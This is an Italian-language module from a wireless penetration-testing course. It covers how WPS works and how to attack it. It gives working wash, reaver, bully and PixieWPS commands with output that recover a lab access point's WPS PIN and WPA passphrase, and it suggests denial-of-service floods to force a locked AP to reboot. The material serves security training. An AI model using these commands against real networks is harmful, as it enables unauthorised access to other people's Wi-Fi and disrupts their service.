8. Attacking WPS Networks
Wi-Fi Protected Setup,1 originariamente noto come Wi-Fi Simple Configuration, era pensato per unificare varie tecnologie dei vendor per condividere passphrase WPA o WPA2 in modo sicuro usando metodi diversi. Una di queste tecnologie era SecureEasySetup.2 WPS rende più semplice per gli utenti con poca conoscenza di networking o sicurezza configurare nuovi dispositivi. Per lo più, tutto ciò che devono fare è inserire un codice PIN o premere un pulsante.
In questo modulo impareremo come funziona WPS, la sua terminologia e cosa lo rende vulnerabile. Alcune implementazioni WPS sono difettose e un attacco riuscito su un AP con WPS porta alla divulgazione della passphrase, indipendentemente da quanto sia complessa.
Questi attacchi funzionano solo su alcuni AP che pubblicizzano WPS nei beacon. Gli AP che non pubblicizzano WPS non sono vulnerabili a nessuno di questi attacchi.
1 (Wikipedia, 2021), https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup ↩︎
2 (Wikipedia, 2018), https://en.wikipedia.org/wiki/SecureEasySetup ↩︎
8.1. WPS Technology Details
WPS definisce due ruoli: l'enrollee, che è un dispositivo che cerca di unirsi alla rete, e il registrar, il cui ruolo è configurare gli enrollee per unirsi alla rete. È importante notare che in questo caso il termine "device" è usato in senso ampio e può essere sia un AP sia una stazione, consentendo scenari insoliti. Sebbene sembri logico immaginare l'AP come registrar e il client come enrollee, non è sempre così.
WPS offre alcuni metodi semplici diversi per la configurazione: premere un pulsante, inserire un PIN su un dispositivo, usare NFC o usare una chiavetta USB. Di queste quattro opzioni, solo le prime due sono richieste dalla certificazione WPS della Wi-Fi Alliance.1 Un dispositivo non deve necessariamente essere certificato per offrire WPS. Le ultime due opzioni di configurazione sono poco comuni e la configurazione con chiavetta USB è stata persino deprecata.
Quando la configurazione WPS avviene con la pressione di un pulsante, può trattarsi di un pulsante fisico sull'AP o di un pulsante virtuale in un'interfaccia web di gestione.
Quando si configura con un codice PIN, sono possibili due scenari. Nel primo scenario, il PIN è sull'AP, su un adesivo o disponibile tramite l'interfaccia web, e il PIN deve essere inserito dal client che vuole unirsi alla rete. Potrebbe sembrare confuso, ma in questo caso l'AP è l'enrollee e il dispositivo client è un external registrar.
Esaminiamo un esempio di questo tipo, in cui l'interfaccia web di un AP mostra il suo PIN WPS.
Figura 1: Configurazione WPS su un AP
Nel secondo scenario, il PIN è sul dispositivo client e deve essere inserito nell'interfaccia dell'AP, quando disponibile. In questo caso, il client è l'enrollee e l'AP è il registrar.
Nell'interfaccia appena esaminata, il pulsante Add Device aprirà la pagina seguente per aggiungere un PIN del dispositivo.
Figura 2: Aggiunta del PIN client sull'AP
Warning
Per generare un PIN WPS su Android, dobbiamo andare su Setting > Wi-Fi, quindi abilitare Wi-Fi. Nell'interfaccia, cliccare sui 3 punti nell'angolo superiore, che aprirà un piccolo menu. Selezionare Advanced > WPS PIN Entry. Verrà mostrato un popup con un PIN casuale a 8 cifre con un timeout di due minuti.
Il processo WPS trasmette in modo sicuro la passphrase WPA o WPA2 via wireless usando messaggi EAP. Il client inizia sondando l'AP. Seguono autenticazione e association, dove WPS è indicato in uno degli IE del frame di association.
In caso di configurazione con pulsante, la probe response indica che il pulsante è stato premuto.
Una volta stabilita la connessione, inizia lo scambio WPS. Comincia con un messaggio EAP Start. Segue una EAP request identity dall'altra parte. Viene risposto con una EAP response identity con WFA-SimpleConfig-Enrollee-1-0 che indica che il dispositivo vuole effettuare uno scambio WPS. L'AP invia quindi un WSC start per indicare che stiamo per iniziare il processo.
Seguono otto messaggi EAP request/response avanti e indietro, chiamati M1 fino a M8. Questi messaggi servono a scambiare in modo sicuro la chiave di crittografia e, se è coinvolto un PIN, a verificarne la correttezza. In seguito, di solito invia un messaggio WSC_DONE e un messaggio EAP failure.
Il dispositivo si disconnette usando disassociation o deauthentication, quindi si riconnette normalmente usando le credenziali appena ricevute.
1 (Wi-Fi Alliance, 2021), https://www.wi-fi.org/discover-wi-fi/wi-fi-protected-setup ↩︎
8.2. WPS Vulnerabilities
La principale vulnerabilità WPS sfrutta lo scenario dell'external registrar, in cui l'AP ha un PIN WPS.
I PIN WPS sono tipicamente lunghi otto cifre. L'ultima cifra è un checksum, il che lascia dieci milioni di PIN possibili. Verificare un PIN richiede solitamente tra uno e tre secondi. Il brute forcing richiederebbe al meglio tre o quattro mesi, rendendolo quasi inutile; tuttavia, possiamo modificare il nostro attacco brute force e renderlo un po' più efficiente a causa di come viene verificato il PIN.
La verifica del PIN avviene in due parti. Lo scambio WPS convalida la prima metà del PIN, che, se sottoposta a brute force, comporterebbe al massimo solo diecimila possibilità. Una volta che la prima metà è valida, il sistema verifica la seconda metà. Poiché l'ultima cifra è un checksum, restano solo tre cifre da verificare e la seconda metà ammonta ora al massimo a mille possibilità.
La prima metà del PIN è verificata usando i messaggi M1 fino a M4. Se riceviamo M5, è corretta. Se la seconda metà è corretta, riceviamo M7, insieme alla configurazione.
Questo problema di sicurezza1 è stato pubblicato e segnalato nel 2011, insieme a una proof of concept2 di Stefan Viehböck. Un altro ricercatore, Craig Heffner, ha scoperto il problema anch'egli e ha sviluppato uno strumento chiamato reaver, che ha deciso di rendere open source una settimana dopo il report di Viehböck. Reaver ha implementato l'attacco, che richiede al massimo undicimila possibilità, impiegando tra tre e dieci ore per il brute force. Un paio d'anni dopo, un altro strumento con capacità simili, bully, è stato rilasciato da un autore diverso.
Le implementazioni WPS variano. Alcuni AP hanno protezioni per ostacolare questi attacchi. Ad esempio, un AP potrebbe andare in timeout per 60 secondi dopo una serie di fallimenti, oppure potrebbe aumentare esponenzialmente il tempo prima del tentativo successivo. Alcuni AP bloccano anche WPS e impediscono a chiunque di usarlo. Questi AP richiedono quindi un timeout o un reset per rimuovere il blocco. Nei successivi anni, alcuni strumenti sono riusciti a aggirare il problema capendo l'algoritmo usato per generare il PIN predefinito di vari AP.
In alcune implementazioni scadenti, il PIN non può essere cambiato, oppure WPS non può essere disabilitato, oppure WPS è ancora presente anche quando l'interfaccia web mostra che è disabilitato.
L'attacco PixieWPS,3 divulgato nel 2014, sfrutta il debole generatore di numeri casuali usato in alcuni chipset, il che significa che non tutte le implementazioni WPS sono vulnerabili. A differenza della tecnica brute force, questa tecnica richiede un'interazione minima con l'AP per raccogliere i dati necessari all'attacco, che viene poi sottoposto a brute force offline. La versione attuale di reaver, che è stata forkata dall'originale e successivamente migliorata, integra l'attacco PixieWPS.
Infine, nota che molti AP hanno un adesivo sul fondo che può includere informazioni preziose come indirizzi MAC, numeri di serie e, in alcuni casi, un PIN WPS predefinito o persino la passphrase. Poiché gli amministratori lasciano le impostazioni predefinite, a volte basta sollevare fisicamente l'AP e girarlo per trovare la passphrase.
1 (Stefan Viehböck, 2011), https://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf ↩︎
2 (Stefan Viehböck, 2011), https://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/ ↩︎
3 (Dominic Bongard, 2014), http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf ↩︎
8.3. WPS Attack
Dopo aver messo la nostra interfaccia wlan0 in monitor mode, ora abbiamo un'interfaccia chiamata wlan0mon.
Useremo uno strumento chiamato wash per ottenere informazioni sull'AP e useremo l'interfaccia wlan0mon con -i:
kali@kali:~$ wash -i wlan0mon
BSSID Ch dBm WPS Lck Vendor ESSID
--------------------------------------------------------------------------------
00:0A:D0:97:39:6F 1 -88 2.0 No Broadcom linksys
C8:BC:C8:FE:D9:65 2 -28 2.0 No AtherosC secnet
34:08:04:09:3D:38 3 -32 1.0 No RalinkTe wifu
Listing 1 - Wash che visualizza informazioni WPS per ogni AP
Wash continua a scansionare finché non premiamo Ctrl+C.
Ogni riga rappresenta un AP con WPS. La prima colonna è il BSSID e la seconda è il canale, seguito dal livello del segnale riportato dalla scheda. La colonna WPS rappresenta la versione WPS. La versione 2 ha imposto mitigazioni per prevenire il brute forcing, che a seconda dell'implementazione possono solo rallentare un attacco brute force. Lck indica se WPS è bloccato, il che significa che un attacco in quel momento è inutile. La colonna Vendor indica il vendor del chipset wireless, talvolta pubblicizzato nel beacon. L'ultima colonna è l'ESSID dell'AP.
Wash scansiona la banda 2.4GHz per impostazione predefinita. Per farlo scansionare la banda 5GHz, possiamo aggiungere l'opzione -5 al comando. In alternativa, possiamo usare airodump-ng per visualizzare informazioni WPS usando --wps.
Ora useremo reaver per attaccare il nostro AP wifu. Dobbiamo specificare il BSSID dell'AP raccolto prima con wash usando -b, l'interfaccia wireless usando -i e un output molto verbose con -vv.
kali@kali:~$ sudo reaver -b 34:08:04:09:3D:38 -i wlan0mon -v
Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 34:08:04:09:3D:38
[+] Switching wlan0mon to channel 1
[+] Switching wlan0mon to channel 2
[+] Switching wlan0mon to channel 3
[+] Received beacon from 34:08:04:09:3D:38
[+] Vendor: RalinkTe
[+] Trying pin "12345670"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "00005678"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "01235678"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "11115670"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "22225672"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "33335674"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] 0.05% complete @ 1985-10-27 11:00:00 (2 seconds/pin)
...
Listing 2 - Avvio dell'attacco usando reaver
Reaver inizia con il PIN 12345678, quindi continua a randomizzare la prima metà del PIN, usando prima valori comuni. Anche la seconda metà resta uguale, con l'eccezione dell'ultima cifra, che è il checksum. Continuerà così finché non riceve il messaggio M5, indicando che la prima metà è corretta. Una volta accaduto, reaver randomizza la seconda metà del PIN. Nell'ultima riga, mostrata periodicamente per aggiornare lo stato, possiamo notare che impiega 2 secondi per PIN. A questo ritmo, ci vorrà poco più di sei ore per provarli tutti.
Nota che alcuni driver hanno problemi con reaver e non cambiano canale per trovare l'AP. È il caso quando l'output di reaver resta bloccato su "Waiting for beacon from XX:XX:XX:XX:XX:XX" per molto tempo. In questo caso, dobbiamo aggiungere il parametro del canale (-c) seguito dal canale raccolto con wash.
Il metodo descritto qui richiederà molto tempo, e ancora di più se l'AP ha contromisure. In precedenza abbiamo descritto l'attacco PixieWPS. Quando ha successo, ci darà risultati molto più rapidamente. Per provarlo, aggiungeremo un'opzione aggiuntiva al comando reaver e useremo -K.
kali@kali:~$ sudo reaver -b 34:08:04:09:3D:38 -i wlan0mon -v -K
Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 34:08:04:09:3D:38
[+] Received beacon from 34:08:04:09:3D:38
[+] Vendor: RalinkTe
[+] Trying pin "12345670"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
executing pixiewps -e b882382e407e4af64fcf9d71ef8ace569fd453ccafb4d1172eaf2a32defa7b36908dea0a0e55e300d5d853e7289ae8488c785af8928b16575486f1560c6a5720c1665d9d4fcdd987248e3f47fd2a00bf9de2f583f45240db1f4aa619098a81fa5ce3663bc0101509ffbfa68e8647042357de76a21718ce4d1defb9006e7396c80e696d6d7ec03bf7fce08850dfcf2a6730cf47ff274f3a1d3d1eba7570c297bbdd52188ac18a936a092b80632bbbe8ffa468caf2c935dda67a8f70bc24fcedb1 -s ec2fd098686d9fc441784e0c13e311a6e11141898ec863b78e213a89335ce7a9 -z 482cbb8708a1605324bc474f2e8881305f39ec4261521681432c12d8b1c0ff17 -a 34e844d2bae3119498c26f59a6dde7d18b5665a173d1adbb05d1907f3650118b -n f56bdccaa2cf51595e5f5ff9295dd6b1 -r 0495e5f459cd26b325b87f2d36d2e6da2d00cf157a394de126345599376525a1b0669f5483830fb504ce03453a7164c739e0619e4cc4992c9db16b73ae8ccb57c9d14670cefeda188cdb681e1c1549019db64dc27fc8ec305684f437e014ac6288c9e8be8d4b1ea33e074b6b3bd9e1b9c2f233f2996cec17b6bb68af36fdbf92f1783ded438e43bd19ff73b73f11b053ccb44669db37c4549053b99b1ae268c8b1eb38ef105e1c1b845f86a5814b4eee4892bc473b75c59462801918b5512f9f
Pixiewps 1.4
[?] Mode: 1 (RT/MT/CL)
[*] Seed N1: 0xa0092e17
[*] Seed ES1: 0x00000000
[*] Seed ES2: 0x00000000
[*] PSK1: 39768b33293254526142aa2d3d55dbf8
[*] PSK2: 385c8893197a003fc767af1eebdbdda8
[*] ES1: 00000000000000000000000000000000
[*] ES2: 00000000000000000000000000000000
[+] WPS pin: 96039620
[*] Time taken: 0 s 17 ms
[+] Pixiewps: success: setting pin to 96039620
[+] WPS PIN: '96039620'
[+] WPA PSK: 'Where we are going, we dont need roads'
[+] AP SSID: 'wifu'
Listing 3 - Uso dell'attacco PixieWPS con reaver
Una volta raccolti i dati, reaver ha invocato automaticamente l'utilità pixiewps per recuperare il PIN WPS, quindi ha usato il PIN risultante per ottenere la passphrase, che probabilmente non avremmo ottenuto usando una tecnica di cracking dell'handshake.
Un'alternativa a questo metodo è usare bully con -d, che tenterà di eseguire PixieWPS con i valori recuperati da bully. Dovremmo anche specificare la verbosity per visualizzare questi valori, con -v 4. L'output può essere un po' confuso, ma i dati per PixieWPS iniziano con la visualizzazione dell'Enonce e terminano con l'output di E-Hash2.
PixieWPS dovrebbe funzionare quando vengono forniti solo i parametri richiesti. A volte dobbiamo fornire anche l'opzione -m. Una volta recuperato il PIN, possiamo fornirlo a bully per un singolo tentativo di PIN, usando -B -p seguito dal PIN, per recuperare la passphrase.
8.3.1. Implementation Variations
Le implementazioni WPS variano da vendor a vendor, ed è per questo che reaver e bully hanno così tante opzioni. Alcuni AP, tuttavia, non hanno un PIN (viene lasciato vuoto). Sia reaver sia bully possono verificare un singolo PIN e, per usare un PIN vuoto, useremo -p ''.
Alcune altre implementazioni hanno valori PIN predefiniti che dipendono dai primi tre byte del BSSID. Un progetto, airgeddon,1 ha compilato un elenco di questi nel file known_pins.db.
Come esempio rapido, usiamo questo file per verificare se il nostro AP particolare ha PIN predefiniti. Possiamo installare il pacchetto airgeddon con apt.
Useremo source per eseguire uno script shell, known_pins.db, che carica un array di PIN in memoria. Infine, controlleremo il database per un AP il cui BSSID inizia con "0013F7". È case sensitive e i primi tre byte devono essere in maiuscolo.
kali@kali:~$ sudo apt install airgeddon
...
kali@kali:~$ source /usr/share/airgeddon/known_pins.db
kali@kali:~$ echo ${PINDB["0013F7"]}
14755989 48703970 06017637
Listing 4 - Verifica dei primi tre byte del BSSID rispetto ai PIN noti
Il comando restituisce tre PIN in questo esempio, mostrati separati da uno spazio. Se non ci fosse stata corrispondenza, l'output sarebbe stato vuoto. Possiamo testare manualmente ciascuno di questi PIN con reaver o bully.
1 (v1s1t0r1sh3r3, 2021), https://github.com/v1s1t0r1sh3r3/airgeddon ↩︎
8.3.2. Overcoming Unexpected Errors
A causa della complessità di WPS e delle diverse implementazioni dei vendor, a volte incontreremo errori. Forniremo workaround per alcuni di quelli comuni.
Attack Choice
L'attacco PixieWPS è preferibile al brute forcing quando possibile, ma è importante ricordare che non tutti i generatori di numeri casuali dei chipset sono vulnerabili. Spesso dovremo ricorrere al brute force del PIN.
Il brute forcing a volte può essere contrastato da contromisure dell'AP. Poiché le implementazioni variano, a volte possiamo aggirare le contromisure usando le opzioni di timing in reaver.
WPS Transaction Failure
A volte, dopo aver trovato il PIN con PixieWPS, riceviamo quanto segue da reaver.
Listing 5 - Fallimento transazione WPS
Potrebbe essere solo un fallimento temporaneo, nel qual caso dovremmo riavviare reaver senza l'opzione PixieWPS. Quando riavviamo, reaver chiederà di ripristinare la sessione precedente, che ha il PIN corretto. Se continuiamo a ricevere questo errore, dovremo provare un'altra scheda wireless.
ACK Issues
Reaver sembra avere problemi con alcuni chipset che non si comportano come si aspetta. Ad esempio, reaver potrebbe continuare a provare lo stesso PIN quando la modalità verbose (usando -v) è impostata. Aumentando la verbosity con -vv, potremmo notare una dozzina di istanze della seguente coppia di messaggi.
Listing 6 - Messaggi identity request e response di reaver in modalità very verbose
Questo è causato dalla scheda wireless che non acknowledged i frame inviati dall'AP, il che fa sì che l'AP li ritrasmetta alcune volte prima di arrendersi e riprovare.
Potremmo riconoscere questo anche in una packet capture quando reaver esegue authentication e association.
La soluzione più semplice è provare una scheda wireless diversa con un chipset diverso.
WPS Lock
Quando WPS è bloccato, possiamo effettuare un denial of service sull'access point usando mdk31 o il suo successore, mdk4. In alcuni casi, questo provocherà un reboot dell'AP, che rilascia il blocco.
Possiamo usare authentication DoS, EAPOL Start DoS o l'attacco EAPOL Logoff flood. Potremmo aver bisogno di più schede wireless per portare a termine l'attacco, saturare l'AP e farlo crashare in modo che si riavvii.
1 (ASPj, 2021), https://tools.kali.org/wireless-attacks/mdk3 ↩︎
8.4. Conclusione
In questo modulo abbiamo esaminato le basi delle reti WPS e le loro vulnerabilità. In particolare, abbiamo imparato le implementazioni difettose e i pattern di password prevedibili, che possono entrambi portare ad attacchi riusciti. Abbiamo anche trattato diversi problemi di troubleshooting che possono sorgere durante un attacco a una rete WPS.